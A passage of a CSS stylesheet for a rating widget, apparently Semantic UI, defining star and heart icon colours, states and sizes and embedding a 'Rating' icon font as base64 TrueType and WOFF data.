ease, background 0.1s ease, text-shadow 0.1s ease, color 0.1s ease;\n  transition: opacity 0.1s ease, background 0.1s ease, text-shadow 0.1s ease, color 0.1s ease;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*-------------------\n      Standard\n--------------------*/\n\n/* Inactive Icon */\n\n.ui.rating .icon {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.15);\n}\n\n/* Active Icon */\n\n.ui.rating .active.icon {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.85);\n}\n\n/* Selected Icon */\n\n.ui.rating .icon.selected,\n.ui.rating .icon.selected.active {\n  background: transparent;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*-------------------\n        Star\n--------------------*/\n\n/* Inactive */\n\n.ui.star.rating .icon {\n  width: 1.25em;\n  height: auto;\n  background: transparent;\n  color: rgba(0, 0, 0, 0.15);\n  text-shadow: none;\n}\n\n/* Active Star */\n\n.ui.star.rating .active.icon {\n  background: transparent !important;\n  color: #ffe623 !important;\n  text-shadow: 0px -1px 0px #ddc507, -1px 0px 0px #ddc507, 0px 1px 0px #ddc507, 1px 0px 0px #ddc507 !important;\n}\n\n/* Selected Star */\n\n.ui.star.rating .icon.selected,\n.ui.star.rating .icon.selected.active {\n  background: transparent !important;\n  color: #ffcc00 !important;\n  text-shadow: 0px -1px 0px #e6a200, -1px 0px 0px #e6a200, 0px 1px 0px #e6a200, 1px 0px 0px #e6a200 !important;\n}\n\n/*-------------------\n        Heart\n--------------------*/\n\n.ui.heart.rating .icon {\n  width: 1.4em;\n  height: auto;\n  background: transparent;\n  color: rgba(0, 0, 0, 0.15);\n  text-shadow: none !important;\n}\n\n/* Active Heart */\n\n.ui.heart.rating .active.icon {\n  background: transparent !important;\n  color: #ff6d75 !important;\n  text-shadow: 0px -1px 0px #cd0707, -1px 0px 0px #cd0707, 0px 1px 0px #cd0707, 1px 0px 0px #cd0707 !important;\n}\n\n/* Selected Heart */\n\n.ui.heart.rating .icon.selected,\n.ui.heart.rating .icon.selected.active {\n  background: transparent !important;\n  color: #ff3000 !important;\n  text-shadow: 0px -1px 0px #aa0101, -1px 0px 0px #aa0101, 0px 1px 0px #aa0101, 1px 0px 0px #aa0101 !important;\n}\n\n/*******************************\n             States\n*******************************/\n\n/*-------------------\n       Disabled\n--------------------*/\n\n/* disabled rating */\n\n.ui.disabled.rating .icon {\n  cursor: default;\n}\n\n/*-------------------\n   User Interactive\n--------------------*/\n\n/* Selected Rating */\n\n.ui.rating.selected .active.icon {\n  opacity: 1;\n}\n\n.ui.rating.selected .icon.selected,\n.ui.rating .icon.selected {\n  opacity: 1;\n}\n\n/*******************************\n          Variations\n*******************************/\n\n.ui.mini.rating {\n  font-size: 0.71428571rem;\n}\n\n.ui.tiny.rating {\n  font-size: 0.85714286rem;\n}\n\n.ui.small.rating {\n  font-size: 0.92857143rem;\n}\n\n.ui.rating {\n  font-size: 1rem;\n}\n\n.ui.large.rating {\n  font-size: 1.14285714rem;\n}\n\n.ui.huge.rating {\n  font-size: 1.42857143rem;\n}\n\n.ui.massive.rating {\n  font-size: 2rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n@font-face {\n  font-family: 'Rating';\n  src: url(\"data:application/x-font-ttf;charset=utf-8;base64,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\") format('truetype'), url(\"data:application/font-woff;charset=utf-8;base64,d09GRk9UVE8AABcUAAoAAAAAFswAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAAA9AAAEuEAABLho6TvIE9TLzIAABPYAAAAYAAAAGAIIwgbY21hcAAAFDgAAACkAAAApKPambxnYXNwAAAU3AAAAAgAAAAIAAAAEGhlYWQAABTkAAAANgAAADYBGAe5aGhlYQAAFRwAAAAkAAAAJAPiAf1obXR4AAAVQAAAAHAAAABwLOAAQ21heHAAABWwAAAABgAAAAYAHFAAbmFtZQAAFbgAAAE8AAABPPC1n05wb3N0AAAW9AAAACAAAAAgAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLZviU+HQFHQAAAP0PHQAAAQIRHQAAAAkdAAAS2BIAHQEBBw0PERQZHiMoLTI3PEFGS1BVWl9kaW5zeH2Ch4xyYXRpbmdyYXRpbmd1MHUxdTIwdUU2MDB1RTYwMXVFNjAydUU2MDN1RTYwNHVFNjA1dUYwMDR1RjAwNXVGMDA2dUYwMEN1RjAwRHVGMDIzdUYwMkV1RjA2RXVGMDcwdUYwODd1RjA4OHVGMDg5dUYwOEF1RjA5N3VGMDlDdUYxMjN1RjE2NHVGMTY1AAACAYkAGgAcAgABAAQABwAKAA0AVgCWAL0BAgGMAeQCbwLwA4cD5QR0BQMFdgZgB8MJkQtxC7oM2Q1jDggOmRAYEZr8lA78lA78lA77lA74lPetFftFpTz3NDz7NPtFcfcU+xBt+0T3Mt73Mjht90T3FPcQBfuU+0YV+wRRofcQMOP3EZ3D9wXD+wX3EXkwM6H7EPsExQUO+JT3rRX7RaU89zQ8+zT7RXH3FPsQbftE9zLe9zI4bfdE9xT3EAX7lPtGFYuLi/exw/sF9xF5MDOh+xD7BMUFDviU960V+0WlPPc0PPs0+0Vx9xT7EG37RPcy3vcyOG33RPcU9xAFDviU98EVi2B4ZG5wCIuL+zT7NAV7e3t7e4t7i3ube5sI+zT3NAVupniyi7aL3M3N3Iu2i7J4pm6mqLKetovci81JizoIDviU98EVi9xJzTqLYItkeHBucKhknmCLOotJSYs6i2CeZKhwCIuL9zT7NAWbe5t7m4ubi5ubm5sI9zT3NAWopp6yi7YIME0V+zb7NgWKioqKiouKi4qMiowI+zb3NgV6m4Ghi6OLubCwuYuji6GBm3oIule6vwWbnKGVo4u5i7Bmi12Lc4F1ensIDviU98EVi2B4ZG5wCIuL+zT7NAV7e3t7e4t7i3ube5sI+zT3NAVupniyi7aL3M3N3Iuni6WDoX4IXED3BEtL+zT3RPdU+wTLssYFl46YjZiL3IvNSYs6CA6L98UVi7WXrKOio6Otl7aLlouXiZiHl4eWhZaEloSUhZKFk4SShZKEkpKSkZOSkpGUkZaSCJaSlpGXj5iPl42Wi7aLrX+jc6N0l2qLYYthdWBgYAj7RvtABYeIh4mGi4aLh42Hjgj7RvdABYmNiY2Hj4iOhpGDlISUhZWFlIWVhpaHmYaYiZiLmAgOZ4v3txWLkpCPlo0I9yOgzPcWBY6SkI+Ri5CLkIePhAjL+xb3I3YFlomQh4uEi4aJh4aGCCMmpPsjBYuKi4mLiIuHioiJiImIiIqHi4iLh4yHjQj7FM/7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwgOZ4v3txWLkpCPlo0I9yOgzPcWBY6SkI+Ri5CLkIePhAjL+xb3I3YFlomQh4uEi4aJh4aGCCMmpPsjBYuKi4mLiIuCh4aDi4iLh4yHjQj7FM/7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwjKeRXjN3b7DfcAxPZSd/cN4t/7DJ1V9wFV+wEFDq73ZhWLk42RkZEIsbIFkZCRjpOLkouSiJCGCN8291D3UAWQkJKOkouTi5GIkYYIsWQFkYaNhIuEi4OJhYWFCPuJ+4kFhYWFiYOLhIuEjYaRCPsi9yIFhZCJkouSCA77AartFYuSjpKQkAjf3zffBYaQiJKLk4uSjpKQkAiysgWRkJGOk4uSi5KIkIYI3zff3wWQkJKOk4uSi5KIkIYIsmQFkIaOhIuEi4OIhIaGCDc33zcFkIaOhIuEi4OIhYaFCGRkBYaGhIiEi4OLhI6GkAg33zc3BYaGhIiEi4OLhY6FkAhksgWGkYiRi5MIDvtLi8sVi/c5BYuSjpKQkJCQko6SiwiVi4vCBYuul6mkpKSkqpiui66LqX6kcqRymG2LaAiLVJSLBZKLkoiQhpCGjoSLhAiL+zkFi4OIhYaGhoWEiYSLCPuniwWEi4SNhpGGkIiRi5MI5vdUFfcni4vCBYufhJx8mn2ZepJ3i3aLeoR9fX18g3qLdwiLVAUO+yaLshWL+AQFi5GNkY+RjpCQj5KNj42PjI+LCPfAiwWPi4+Kj4mRiZCHj4aPhY2Fi4UIi/wEBYuEiYWHhoeGhoeFiIiKhoqHi4GLhI6EkQj7EvcN+xL7DQWEhYOIgouHi4eLh42EjoaPiJCHkImRi5IIDov3XRWLko2Rj5Kltq+vuKW4pbuZvYu9i7t9uHG4ca9npWCPhI2Fi4SLhYmEh4RxYGdoXnAIXnFbflmLWYtbmF6lXqZnrnG2h5KJkouRCLCLFaRkq2yxdLF0tH+4i7iLtJexorGiq6qksm64Z61goZZ3kXaLdItnfm1ycnJybX9oiwhoi22XcqRypH6pi6+LopGglp9gdWdpbl4I9xiwFYuHjIiOiI6IjoqPi4+LjoyOjo2OjY6Lj4ubkJmXl5eWmZGbi4+LjoyOjo2OjY6LjwiLj4mOiY6IjYiNh4tzi3eCenp6eoJ3i3MIDov3XRWLko2Sj5GouK+utqW3pbqYvouci5yJnIgIm6cFjY6NjI+LjIuNi42JjYqOio+JjomOiY6KjomOiY6JjoqNioyKjomMiYuHi4qLiouLCHdnbVVjQ2NDbVV3Zwh9cgWJiIiJiIuJi36SdJiIjYmOi46LjY+UlJlvl3KcdJ90oHeie6WHkYmSi5IIsIsVqlq0Z711CKGzBXqXfpqCnoKdhp6LoIuikaCWn2B1Z2luXgj3GLAVi4eMiI6IjoiOio+Lj4uOjI6OjY6NjouPi5uQmZeXl5aZkZuLj4uOjI6OjY6NjouPCIuPiY6JjoiNiI2Hi3OLd4J6enp6gneLcwji+10VoLAFtI+wmK2hrqKnqKKvdq1wp2uhCJ2rBZ1/nHycepx6mHqWeY+EjYWLhIuEiYWHhIR/gH1+fG9qaXJmeWV5Y4Jhiwi53BXb9yQFjIKMg4uEi3CDc3x1fHV3fHOBCA6L1BWL90sFi5WPlJKSkpKTj5aLCNmLBZKPmJqepJaZlZeVlY+Qj5ONl42WjpeOmI+YkZWTk5OSk46Vi5uLmYiYhZiFlIGSfgiSfo55i3WLeYd5gXgIvosFn4uchJl8mn2Seot3i3qGfIJ9jYSLhYuEi3yIfoR+i4eLh4uHi3eGen99i3CDdnt8CHt8dYNwiwhmiwV5i3mNeY95kHeRc5N1k36Ph4sIOYsFgIuDjoSShJKHlIuVCLCdFYuGjIePiI+Hj4mQi5CLj42Pj46OjY+LkIuQiZCIjoePh42Gi4aLh4mHh4eIioaLhgjUeRWUiwWNi46Lj4qOi4+KjYqOi4+Kj4mQio6KjYqNio+Kj4mQio6KjIqzfquEpIsIrosFr4uemouri5CKkYqQkY6QkI6SjpKNkouSi5KJkoiRlZWQlouYi5CKkImRiZGJj4iOCJGMkI+PlI+UjZKLkouViJODk4SSgo+CiwgmiwWLlpCalJ6UnpCbi5aLnoiYhJSFlH+QeYuGhoeDiYCJf4h/h3+IfoWBg4KHh4SCgH4Ii4qIiYiGh4aIh4mIiIiIh4eGh4aHh4eHiIiHiIeHiIiHiIeKh4mIioiLCIKLi/tLBQ6L90sVi/dLBYuVj5OSk5KSk46WiwjdiwWPi5iPoZOkk6CRnZCdj56Nn4sIq4sFpougg5x8m3yTd4txCIuJBZd8kHuLd4uHi4eLh5J+jn6LfIuEi4SJhZR9kHyLeot3hHp8fH19eoR3iwhYiwWVeI95i3mLdIh6hH6EfoKBfoV+hX2He4uBi4OPg5KFkYaTh5SHlYiTipOKk4qTiJMIiZSIkYiPgZSBl4CaeKR+moSPCD2LBYCLg4+EkoSSh5SLlQiw9zgVi4aMh4+Ij4ePiZCLkIuPjY+Pjo6Nj4uQi5CJkIiOh4+HjYaLhouHiYeHh4iKhouGCNT7OBWUiwWOi46Kj4mPio+IjoiPh4+IjoePiI+Hj4aPho6HjoiNiI6Hj4aOho6Ii4qWfpKDj4YIk4ORgY5+j36OgI1/jYCPg5CGnYuXj5GUkpSOmYuei5aGmoKfgp6GmouWCPCLBZSLlI+SkpOTjpOLlYuSiZKHlIeUho+Fi46PjY+NkY2RjJCLkIuYhpaBlY6RjZKLkgiLkomSiJKIkoaQhY6MkIyRi5CLm4aXgpOBkn6Pe4sIZosFcotrhGN9iouIioaJh4qHiomKiYqIioaKh4mHioiKiYuHioiLh4qIi4mLCIKLi/tLBQ77lIv3txWLkpCPlo0I9yOgzPcWBY6SkI+RiwiL/BL7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwgOi/fFFYu1l6yjoqOjrZe2i5aLl4mYh5eHloWWhJaElIWShZOEkoWShJKSkpGTkpKRlJGWkgiWkpaRl4+Yj5eNlou2i61/o3OjdJdqi2GLYXVgYGAI+0b7QAWHiIeJhouGi4eNh44I+0b3QAWJjYmNh4+IjoaRg5SElIWVhZSFlYaWh5mGmImYi5gIsIsVi2ucaa9oCPc6+zT3OvczBa+vnK2Lq4ubiZiHl4eXhpSFkoSSg5GCj4KQgo2CjYONgYuBi4KLgIl/hoCGgIWChAiBg4OFhISEhYaFhoaIhoaJhYuFi4aNiJCGkIaRhJGEkoORgZOCkoCRgJB/kICNgosIgYuBi4OJgomCiYKGgoeDhYSEhYSGgod/h3+Jfot7CA77JouyFYv4BAWLkY2Rj5GOkJCPko2PjY+Mj4sI98CLBY+Lj4qPiZGJkIePho+FjYWLhQiL/AQFi4SJhYeGh4aGh4WIiIqGioeLgYuEjoSRCPsS9w37EvsNBYSFg4iCi4eLh4uHjYSOho+IkIeQiZGLkgiwkxX3JvchpHL3DfsIi/f3+7iLi/v3BQ5ni8sVi/c5BYuSjpKQkJCQko6Siwj3VIuLwgWLrpippKSkpKmYrouvi6l+pHKkcpdti2gIi0IFi4aKhoeIh4eHiYaLCHmLBYaLh42Hj4eOipCLkAiL1AWLn4OcfZp9mXqSdot3i3qEfX18fIR6i3cIi1SniwWSi5KIkIaQho6Ei4QIi/s5BYuDiIWGhoaFhImEiwj7p4sFhIuEjYaRhpCIkYuTCA5njPe6FYyQkI6UjQj3I6DM9xYFj5KPj5GLkIuQh4+ECMv7FvcjdgWUiZCIjYaNhoiFhYUIIyak+yMFjIWKhomHiYiIiYaLiIuHjIeNCPsUz/sVRwWHiYeKiIuHi4eNiY6Jj4uQjJEIo/cjI/AFhZGJkY2QCPeB+z0VnILlW3rxiJ6ZmNTS+wydgpxe54v7pwUOZ4vCFYv3SwWLkI2Pjo+Pjo+NkIsI3osFkIuPiY6Ij4eNh4uGCIv7SwWLhomHh4eIh4eKhosIOIsFhouHjIePiI+Jj4uQCLCvFYuGjIePh46IkImQi5CLj42Pjo6PjY+LkIuQiZCIjoePh42Gi4aLhomIh4eIioaLhgjvZxWL90sFi5CNj46Oj4+PjZCLj4ySkJWWlZaVl5SXmJuVl5GRjo6OkI6RjZCNkIyPjI6MkY2TCIySjJGMj4yPjZCOkY6RjpCPjo6Pj42Qi5SLk4qSiZKJkYiPiJCIjoiPho6GjYeMhwiNh4yGjIaMhYuHi4iLiIuHi4eLg4uEiYSJhImFiYeJh4mFh4WLioqJiomJiIqJiokIi4qKiIqJCNqLBZqLmIWWgJaAkH+LfIt6hn2Af46DjYSLhIt9h36Cf4+Bi3+HgImAhYKEhI12hnmAfgh/fXiDcosIZosFfot+jHyOfI5/joOOg41/j32Qc5N8j4SMhouHjYiOh4+Jj4uQCA5ni/c5FYuGjYaOiI+Hj4mQiwjeiwWQi4+Njo+Pjo2Qi5AIi/dKBYuQiZCHjoiPh42Giwg4iwWGi4eJh4eIiImGi4YIi/tKBbD3JhWLkIyPj4+OjpCNkIuQi4+Jj4iOh42Hi4aLhomHiIeHh4eKhouGi4aMiI+Hj4qPi5AI7